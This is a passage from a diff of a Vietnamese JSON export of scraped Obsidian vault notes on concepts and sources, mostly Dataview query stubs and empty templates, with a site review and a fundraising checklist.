nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Xem thêm:: [[Kế hoạch]]\n```dataview\nLIST \nWHERE contains(khái-niệm, [[]])\n```", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-07-28T14:54:00.000Z", - "Ngày cập nhật": "2024-07-29T10:49:00.000Z", - "id": "MS" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-29T06:45:00.000Z", + "id": "Mg" }, { - "Tiêu đề": "Phản hồi", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Phản hồi", + "Tiêu đề": "Cạnh tranh", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Kinh tế/Cạnh tranh", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nWHERE contains(khái-niệm, [[]])\nGROUP BY split(file.folder, \"/\")[3]\n```", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-19T15:03:00.000Z", - "Ngày cập nhật": "2024-08-19T15:03:00.000Z", - "id": "MT" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-29T06:43:00.000Z", + "id": "Mh" }, { - "Tiêu đề": "Ra quyết định", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Quản lý tổ chức/Ra quyết định", + "Tiêu đề": "Giá cả", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Kinh tế/Giá cả", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" @@ -23131,12 +23356,12 @@ }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-29T06:45:00.000Z", - "id": "MU" + "Ngày cập nhật": "2024-07-29T06:43:00.000Z", + "id": "Mi" }, { - "Tiêu đề": "Thảo luận", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Quản lý tổ chức/Thảo luận", + "Tiêu đề": "Tiền", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Kinh tế/Tiền", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" @@ -23147,12 +23372,12 @@ }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-29T06:45:00.000Z", - "id": "MV" + "Ngày cập nhật": "2024-07-29T06:43:00.000Z", + "id": "Mj" }, { - "Tiêu đề": "Tin tưởng", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Quản lý tổ chức/Tin tưởng", + "Tiêu đề": "Đầu tư", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Kinh tế/Đầu tư", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" @@ -23164,59 +23389,59 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-07-29T06:43:00.000Z", - "id": "MW" + "id": "Mk" }, { - "Tiêu đề": "Văn hoá", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Quản lý tổ chức/Văn hoá", + "Tiêu đề": "Bản đồ", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Công cụ nghĩ/Bản đồ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "```dataview\nLIST\nWHERE contains(khái-niệm, [[]])\n```\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-29T06:43:00.000Z", - "id": "MX" + "Ngày tạo": "2024-07-28T14:54:00.000Z", + "Ngày cập nhật": "2024-09-10T08:13:00.000Z", + "id": "Ml" }, { - "Tiêu đề": "Thành quả", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Thành quả", + "Tiêu đề": "Cấu trúc", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Cấu trúc", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nWHERE contains(khái-niệm, [[]])\nGROUP BY split(file.folder, \"/\")[3]\n```", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-20T05:55:00.000Z", - "Ngày cập nhật": "2024-08-20T05:55:00.000Z", - "id": "MY" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-29T06:44:00.000Z", + "id": "Mm" }, { - "Tiêu đề": "Tự tổ chức", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Tự tổ chức", + "Tiêu đề": "Diễn giải, đọc", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Diễn giải, đọc", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST\nWHERE contains(khái-niệm, [[]])\n```", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nWHERE contains(khái-niệm, [[]])\nGROUP BY split(file.folder, \"/\")[3]\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-02T08:43:00.000Z", - "Ngày cập nhật": "2024-08-02T08:43:00.000Z", - "id": "MZ" + "Ngày tạo": "2023-10-22T14:45:00.000Z", + "Ngày cập nhật": "2024-08-10T09:35:00.000Z", + "id": "Mn" }, { - "Tiêu đề": "Đồ thị", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Đồ thị", + "Tiêu đề": "Gánh nặng nhận thức", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Gánh nặng nhận thức", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" @@ -23226,429 +23451,429 @@ "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-02T08:36:00.000Z", - "Ngày cập nhật": "2024-08-02T08:36:00.000Z", - "id": "Ma" + "Ngày tạo": "2024-07-28T14:54:00.000Z", + "Ngày cập nhật": "2024-08-28T06:49:00.000Z", + "id": "Mo" }, { - "Tiêu đề": "Bing AI", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Bing AI", + "Tiêu đề": "Insight", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Insight", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n", + "Toàn bộ nội dung": "Điểm maauuus chốt", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Mb" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-28T03:50:00.000Z", + "id": "Mp" }, { - "Tiêu đề": "Emilie Durkheim", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Emilie Durkheim", + "Tiêu đề": "Không gian", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Không gian", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Nguyễn Đức Lộc]] \n", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: [[Nguyễn Đức Lộc]] \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-03T08:30:00.000Z", - "id": "Mc" + "Ngày cập nhật": "2023-11-28T03:50:00.000Z", + "id": "Mq" }, { - "Tiêu đề": "James Clifford, Về Tính Uy Quyền của Khảo tả Dân Tộc Học", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/James Clifford, Về Tính Uy Quyền của Khảo tả Dân Tộc Học", + "Tiêu đề": "Lập luận", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Lập luận", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![[Về Tính Uy Quyền của Khảo tả Dân Tộc Học.pdf]]", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-06T09:10:00.000Z", - "Ngày cập nhật": "2023-11-13T15:01:00.000Z", - "id": "Md" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-29T06:41:00.000Z", + "id": "Mr" }, { - "Tiêu đề": "Kendy", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Kendy", + "Tiêu đề": "Mental modal", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Mental modal", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Hoàng Đức Minh]]\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-10T17:02:00.000Z", - "Ngày cập nhật": "2024-02-22T05:13:00.000Z", - "id": "Me" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-29T06:44:00.000Z", + "id": "Ms" }, { - "Tiêu đề": "freeCodeCamp", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Khoa học dữ liệu. Khoa học máy tính/freeCodeCamp", + "Tiêu đề": "Mẫu hình (pattern)", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Mẫu hình (pattern)", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\r\n", + "Toàn bộ nội dung": "```dataview\nLIST\nWHERE contains(khái-niệm,[[]])\n```\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-26T10:46:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Mf" + "Ngày tạo": "2023-06-10T14:57:00.000Z", + "Ngày cập nhật": "2024-06-23T17:30:00.000Z", + "id": "Mt" }, { - "Tiêu đề": "Google Support", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Khoa học dữ liệu. Khoa học máy tính/Google Support", + "Tiêu đề": "Ngôn ngữ", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Ngôn ngữ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\r\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Nguyễn Đức Lộc]] \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-01T08:35:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Mg" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-28T03:50:00.000Z", + "id": "Mu" }, { - "Tiêu đề": "IBM", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Khoa học dữ liệu. Khoa học máy tính/IBM", + "Tiêu đề": "Nhận thức", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Nguyễn Đức Lộc]] \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Mh" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-28T03:50:00.000Z", + "id": "Mv" }, { - "Tiêu đề": "Phạm Đình Khánh", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Khoa học dữ liệu. Khoa học máy tính/Phạm Đình Khánh", + "Tiêu đề": "Não", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Não", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: [[Nguyễn Đức Lộc]] \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-29T07:56:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Mi" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-28T03:50:00.000Z", + "id": "Mw" }, { - "Tiêu đề": "tuhocict", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Khoa học dữ liệu. Khoa học máy tính/tuhocict", + "Tiêu đề": "Phân loại", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Phân loại", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Mình tìm thấy trang này hay. Người viết là giảng viên và có vẻ chú trọng đến sự bao quát hơn là giới thiệu kỹ thuật nói chung. Ở các bài nhập môn đa phần đều nói về sự thiếu sót của các giáo trình tiếng Việt trước đây. Điều này chứng tỏ rằng họ có sự tách mình ra khỏi sự hối thúc hướng dẫn người khác, để quan sát xem thứ người học nghĩ là họ cần, và thứ người dạy nghĩ là người học cần có đúng là cái mà người học cần hay không.\r\n\r\nVí dụ như ở bài về C#:\r\n> Hiện nay, số lượng tài liệu lập trình C# rất nhiều. Mỗi tài liệu có hướng tiếp cận riêng. Tuy nhiên, các tài liệu tốt nhất đều viết bằng tiếng Anh. Trên mạng Internet bạn cũng có thể dễ dàng tìm thấy rất nhiều nội dung hướng dẫn học lập trình C# tiếng Việt. Tuy nhiên, chúng thường là những blog post hoặc series bài khá rời rạc. Việc tự học theo các website hoặc blog như vậy khá khó khăn và thiếu bài bản.\r\nhttps://tuhocict.com/huong-dan-tu-hoc-lap-trinh-c-sharp/\r\n\r\nVí dụ khác ở bài về PHP:\r\n> Do ngôn ngữ lập trình PHP sử dụng chủ yếu trong phát triển ứng dụng web, các tài liệu dạy lập trình PHP ngay từ đầu sẽ gắn với xây dựng ứng dụng web. Cách tiếp cận này có một nhược điểm.\r\n> \r\n> Ứng dụng web phức tạp với nhiều thành phần viết bằng nhiều ngôn ngữ: phần nội dung được diễn đạt bằng HMTL; phần hình thức được chỉ định qua CSS; thành phần xuất nhập dữ liệu chạy trên trình duyệt; thành phần xử lý (viết bằng PHP) chạy trên web server.\r\n> \r\n> Như vậy, để học ngôn ngữ lập trình PHP, bạn đồng thời cũng phải học và hiểu tất cả các thành phần liên quan.\r\n> \r\n> Dĩ nhiên, để học phát triển ứng dụng web, bạn phải biết tất cả các vấn đề trên. Tuy nhiên, với mục đích học ngôn ngữ PHP, chúng lại trở thành yếu tố nhiễu gây cản trở việc tiếp thu các vấn đề của riêng ngôn ngữ PHP.\r\nhttps://tuhocict.com/huong-dan-tu-hoc-lap-trinh-php/\r\n\r\nNhóm biên soạn nhấn mạnh là đây không phải là dành cho người mới, mà là cho người đã có nền tảng rồi. Phải nói là may mắn là mình có tự học trước về JS rồi nên giờ mới hiểu được. Mình đọc bài giới thiệu về .NET thấy hiểu ra nhiều thứ.\r\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Mj" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-29T06:44:00.000Z", + "id": "Mx" }, { - "Tiêu đề": "Viblo", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Khoa học dữ liệu. Khoa học máy tính/Viblo", + "Tiêu đề": "Trải nghiệm", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Trải nghiệm", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\r\n", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: [[James Clifford, Về Tính Uy Quyền của Khảo tả Dân Tộc Học]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-25T13:39:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Mk" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-28T03:50:00.000Z", + "id": "My" }, { - "Tiêu đề": "ABG Open Special 2023", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Kinh tế học/ABG Open Special 2023", + "Tiêu đề": "Trực giác", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Trực giác", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\r\ntable nguồn\r\nfrom [[]] \r\n```\r\nWHERE contains(nguồn,[[]])\r\n```dataview\r\nLIST \r\nfrom [[]] \r\nWhere contains(nguồn,\"Sỹ\")\r\n```\r\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Ml" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-28T03:50:00.000Z", + "id": "Mz" }, { - "Tiêu đề": "Tiền không mua được gì", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Kinh tế học/Tiền không mua được gì", + "Tiêu đề": "Văn bản", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Văn bản", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-08-10T19:20:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Mm" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-28T03:50:00.000Z", + "id": "M-" }, { - "Tiêu đề": "Tạp chí ngân hàng", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Kinh tế học/Tạp chí ngân hàng", + "Tiêu đề": "Vật thể", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Vật thể", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: [[Nguyễn Đức Lộc]] \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-27T13:19:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Mn" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-28T03:50:00.000Z", + "id": "M_" }, { - "Tiêu đề": "Andy Matuschak", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Môi trường nghĩ, nhận thức tăng cường/Andy Matuschak", + "Tiêu đề": "Ý tưởng", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Ý tưởng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T11:59:00.000Z", - "id": "Mo" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-29T06:41:00.000Z", + "id": "N0" }, { - "Tiêu đề": "Bret Victor", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Môi trường nghĩ, nhận thức tăng cường/Bret Victor", + "Tiêu đề": "Đánh đổi", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Đánh đổi", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: [[James Clifford, Về Tính Uy Quyền của Khảo tả Dân Tộc Học]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-10T14:52:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Mp" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-28T03:50:00.000Z", + "id": "N1" }, { - "Tiêu đề": "Maggie Appleton", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Môi trường nghĩ, nhận thức tăng cường/Maggie Appleton", + "Tiêu đề": "Ẩn dụ", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Nhận thức/Ẩn dụ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\n![The Block-Paved Path to Structured Data - Structured Content 2022 - YouTube](https://www.youtube.com/watch?v=AHblHPLoKKE)\n![The Expanding Dark Forest and Generative AI - Maggie Appleton - YouTube](https://youtu.be/VXkDaDDJjoA?si=_KdZexkhgZBSCFkT)", + "Toàn bộ nội dung": "```dataview\nLIST\nWHERE contains(khái-niệm, [[]])\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-12-16T05:28:00.000Z", - "id": "Mq" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-28T14:54:00.000Z", + "id": "N2" }, { - "Tiêu đề": "Đừng bắt tôi nghĩ", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Môi trường nghĩ, nhận thức tăng cường/Đừng bắt tôi nghĩ", + "Tiêu đề": "Gây quỹ", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Phát triển cộng đồng/Gây quỹ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![](https://sensible.com/divi/wp-content/uploads/2020/08/DMMT-3d-cover-transparent-239x300.png)\n```dataview\nLIST\nWHERE contains(nguồn, [[]])\n```", + "Toàn bộ nội dung": "Xem thêm:: [[Quỹ]], [[Quỹ, gọi vốn]]\n```dataview\nLIST\nWHERE contains(khái-niệm, [[]])\n```\n![[Tìm kiếm và tiếp cận nhà tài trợ tiềm năng.pdf]]\n# Chuẩn bị\n## Xác định nhà tài trợ tiềm năng\n- Chính quyền cơ sở\n- Doanh nghiệp (tại địa phương, trong nước và nước ngoài)\n- Các quỹ đặc biệt của chính phủ\n- Tổ chức phi chính phủ trong nước và quốc tế\n- Đại sứ quán nước ngoài\n- Các Quỹ tài trợ trong nước và quốc tế\n- Tổ chức tôn giáo, xã hội, nghề nghiệp và các quỹ từ thiện\n- Cơ quan truyền thông đại chúng\n- Cá nhân\n## Tìm kiếm nhà tài trợ\n- Liên hệ với cơ quan liên quan\n- Sử dụng các danh bạ điện thoại, sách báo, tạp chí\n- Liên hệ với Sở Ngoại vụ, Sở Kế hoạch đầu tư của tỉnh\n- Sử dụng Internet để tìm kiếm thông tin về nhà tài trợ\n- Tận dụng tối đa các mối quan hệ cá nhân để tìm nguồn tài trợ\n- Các tờ rơi thông tin của các tổ chức tài trợ\n## Phân tích nhà tài trợ tiềm năng\n- Khả năng tài trợ (điểm mạnh của họ là gì?)\n- Ưu tiên (lĩnh vực chuyên môn, vùng địa lý)\n- Sở thích (Thích cùng tham gia quản lý dự án, v.v)\n- Họ mong muốn được lợi gì qua việc tài trợ (Được quảng bá tên tuổi, giải ngân, v.v)\n- Yếu tố tác động đến việc ra quyết định tài trợ\n## Xây dựng ý tưởng vận động\n- Hoạt động/ nhóm hoạt động nào trong dự án/ chương trình có thể “ hấp dẫn” nhà tài trợ tiềm năng đã xác định? Nhà tài trợ sẽ có lợi gì từ việc tài trợ này?\n- Mức tài trợ cho hoạt động/ nhóm hoạt động đó có tương đương với khả năng và quy định về tài trợ của nhà tài trợ tiềm năng không?\n- Có thể có những hình thức tài trợ nào đối với hoạt động/ nhóm hoạt động đó? Hình thức nào sẽ thuận tiện nhất/ phù hợp nhất đối với nhà tài trợ tiềm năng?\n- Nhà tài trợ sẽ có thể giám sát đánh giá việc sử dụng tiền tài trợ bằng những cách nào?\n# Tiếp cận\n\n\n❓:: [[Có những cách gây quỹ nào cho quá trình tích lũy kiến thức ban đầu?Có những quỹ nghiên cứu nào cho những người làm hoạt động?]] \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-05T16:01:00.000Z", - "id": "Mr" + "Ngày tạo": "2023-06-11T17:57:00.000Z", + "Ngày cập nhật": "2024-07-29T07:12:00.000Z", + "id": "N3" }, { - "Tiêu đề": "Neilsen Norman Group", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Neilsen Norman Group", + "Tiêu đề": "Hỗ trợ", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Phát triển cộng đồng/Hỗ trợ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "```dataview\nLIST\nWHERE contains(khái-niệm, [[]])\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": 